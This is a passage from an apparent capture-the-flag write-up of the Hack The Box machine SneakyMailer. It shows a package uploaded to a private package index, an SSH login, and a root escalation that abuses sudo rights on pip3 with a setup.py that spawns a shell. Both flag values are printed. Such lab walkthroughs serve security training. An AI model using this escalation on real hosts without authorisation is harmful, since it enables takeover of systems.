developer@sneakymailer:/tmp/sneakypip$ python3 setup.py sdist upload -r http://127.0.0.1:5000
<hon3 setup.py sdist upload -r http://127.0.0.1:5000
running sdist
running egg_info
writing sneakypip.egg-info/PKG-INFO
writing dependency_links to sneakypip.egg-info/dependency_links.txt
writing top-level names to sneakypip.egg-info/top_level.txt
reading manifest file 'sneakypip.egg-info/SOURCES.txt'
writing manifest file 'sneakypip.egg-info/SOURCES.txt'
running check
creating sneakypip-0.1
creating sneakypip-0.1/sneakypip
creating sneakypip-0.1/sneakypip.egg-info
copying files to sneakypip-0.1...
copying README.md -> sneakypip-0.1
copying setup.cfg -> sneakypip-0.1
copying setup.py -> sneakypip-0.1
copying sneakypip/__init__.py -> sneakypip-0.1/sneakypip
copying sneakypip.egg-info/PKG-INFO -> sneakypip-0.1/sneakypip.egg-info
copying sneakypip.egg-info/SOURCES.txt -> sneakypip-0.1/sneakypip.egg-info
copying sneakypip.egg-info/dependency_links.txt -> sneakypip-0.1/sneakypip.egg-info
copying sneakypip.egg-info/top_level.txt -> sneakypip-0.1/sneakypip.egg-info
Writing sneakypip-0.1/setup.cfg
Creating tar archive
removing 'sneakypip-0.1' (and everything under it)
running upload
Submitting dist/sneakypip-0.1.tar.gz to http://127.0.0.1:5000
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
developer@sneakymailer:/tmp/sneakypip$

And lets test if this is working:

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ ssh low@10.10.10.197
Enter passphrase for key '/home/sneakymailer/.ssh/id_rsa': 
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Tue Jun  9 03:02:52 2020 from 192.168.56.105
low@sneakymailer:~$

Get the user flag:

low@sneakymailer:~$ cat user.txt 
1c0d8b38568a7473f5adca9389485f66

The quest for root

First step, ALWAYS, is to check if there is anything I can do with the sudo command:

low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

Lets look-up pip on gtfobins https://gtfobins.github.io/gtfobins/pip/, and try one of the attacks listed there.

low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ cd /usr/bin
low@sneakymailer:/usr/bin$ sudo pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.l3qocTvWNy
# cd
# ls
root.txt
# cat root.txt  
3820d17b37c8e5238172e6f24d931ad7

Congratulations!

You have now got both the user AND the root flag for the htb Sneakymailer.